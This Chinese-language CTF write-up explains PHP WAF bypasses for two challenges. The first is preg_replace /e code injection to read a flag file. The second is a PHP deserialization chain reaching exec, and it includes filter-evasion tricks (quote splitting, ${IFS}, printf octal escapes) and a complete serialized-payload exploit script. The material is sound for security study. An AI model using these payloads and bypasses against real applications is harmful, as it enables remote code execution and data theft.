CTF web php waf绕过合集
[H&NCTF 2024]Please_RCE_Me
打开靶机,发现要求get请求传参?moran=flag
get请求访问ip:端口?moran=flag
,得到页面源码
发现system、eval、assert、call、create、preg、sort、{|}、filter、exec、passthru、proc、open、echo、`、 、.、include、require、flag都被过滤掉了,大部分执行外部命令的函数全都无法使用。
对于flag参数:
preg_match('/system|eval|...|flag/i',$str1)
,preg_match函数用来匹配字符串,如果str1包含'/某些用竖线分割的字符/'
中的内容,则返回true。参数i表示大小写不敏感。
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag'])
,对于这个函数,可以简要看成preg_replace($a,$b,$c)
,用来将变量a字符串中的c替换成b,参数i表示大小写不敏感,参数e表示作为代码执行。
根据strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)
的逻辑,str2一定是19个字符,其中的preg_match函数大小写敏感,最后else分支中的preg_match函数大小写不敏感并且需要将please_give_me_flag全部替换成需要执行的代码,设置post参数flag=Please_give_me_flag
进行绕过。
对于task参数,内容被作为代码执行:
可用函数如下
直接显示文件内容函数:show_source()、highlight_file()
读取文件内容函数:file_get_contents()、file()、readfile()、fopen()、php_strip_whitespace()
无法直接读取文件函数:fpassthru()、fread()
打印输出函数:echo()、print()、print_r()、printf()、sprint()、var_dump()、var_export()
执行外部命令函数:system()、passthru()、popen()、proc_open()、exec()、shell_exec()、内敛执行(反引号``、${})
还剩下var_dump、print_r、var_export函数可以尝试(print等其他打印输出函数在这里不能达到效果,这部分涉及到print、print_r、echo等的区别)
列出当前目录var_dump(scandir('./'));
或者print_r(scandir('./'));
或者var_export(scandir('./'));
列出根目录var_dump(scandir('/'));
或者print_r(scandir('/'));
或者var_export(scandir('/'));
因为过滤掉了.,直接尝试列出根目录
发现flag文件,但是字符串flag被直接过滤掉了,不知道为什么无法使用/f*
或者/fl?g
直接访问该文件。
想到另一个办法,用匹配到的路径作为输入来访问flag文件。
首先glob函数搜索以/fla开头的文件,因为根目录下只有flag这一个,所以返回结果第一个就是flag文件的目录,用current函数获取数组的第一个元素作为字符串,使用highlight_file函数打开。
glob函数返回符合匹配条件的所有文件的路径。
设置post参数task=var_dump(highlight_file(current(glob('/fla*'))))
,发送http请求,得到flag
[攻防世界]unseping
打开靶机发现源码如下:
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
可以POST传参ctf,该参数中的数据base64解码后反序列化。
在PHP中,类的方法在不同的情况下被调用,具体取决于它们的类型和PHP的运行时行为。以下是代码中一些函数会被调用的情况:
-
构造函数__construct:
当一个类的实例被创建时被自动调用。在这个例子中,当使用new ease($method, $args)
创建ease类的新对象时,方法将被调用,并将$method
和$args
赋值给对象的私有属性。 -
析构函数__destruct:
当对象生命周期结束,或者使用unset()显式销毁对象时被调用。PHP会在脚本结束前,或者对象被明确销毁时清理对象资源,并调用析构函数。 -
唤醒函数__wakeup:
对象被反序列化时自动调用。反序列化是将对象的状态从字符串表示恢复到对象的过程,通常发生在对象从会话存储或数据库中恢复时。
对象被反序列化,__wakeup方法将被调用,它将用waf过滤$args
数组中的每个元素。如果$method
被设置为'ping',那么当对象生命周期结束时,析构函数__destruct会检查$method
,如果是'ping',它将调用ping方法,执行exec函数和var_dump函数,其参数为$args
。同时,如果
过滤了"/(\||&|;| |\/|cat|flag|tac|php|ls)/"
。
因为__wakeup函数中对args参数的处理,该参数必须是数组,写出生成测试用的payload的代码,使用在线网站对代码进行反序列化和base64编码 https://www.jyshare.com/compile/1/ 。
使用hackbar传参得到返回的消息,确定参数可以被正确传递并解析。
现在需要绕过waf,使用双引号绕过字符串的检测$resume->args = array('l""s');
,得到返回结果array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" }
,发现flag在flag_1s_here文件中。
%20可以替换空格,设置$resume->args = array('ca""t%20fla""g_1s_here');
传参发现里面是空的array(0) { }
,猜测是文件夹,ls命令列出文件夹内容。
这里使用%20替换空格不知道为什么失效了,使用${IFS}替换空格可以正常执行命令,设置 $resume->args = array('l""s${IFS}f""lag_1s_here');
,传参得到array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }
。
查看该php文件,过滤了\
,可以用cd ..;cd ..;cd enc;cat flag
绕过,传参后才发现;
也被过滤了,还可以oct编码绕过,使用$(printf${IFS}"\57")
替换反斜杠,设置$resume->args = array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp');
。
传参得到flag。
exp如下,将php代码运行得到的数据作为ctf参数的数据传入:
<?php
class ease{
var $method;
var $args;
}
$resume = new ease();
$resume->method = 'ping';
$resume->args = array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp');
$result = serialize($resume);
echo $result;
echo base64_encode($result);
?>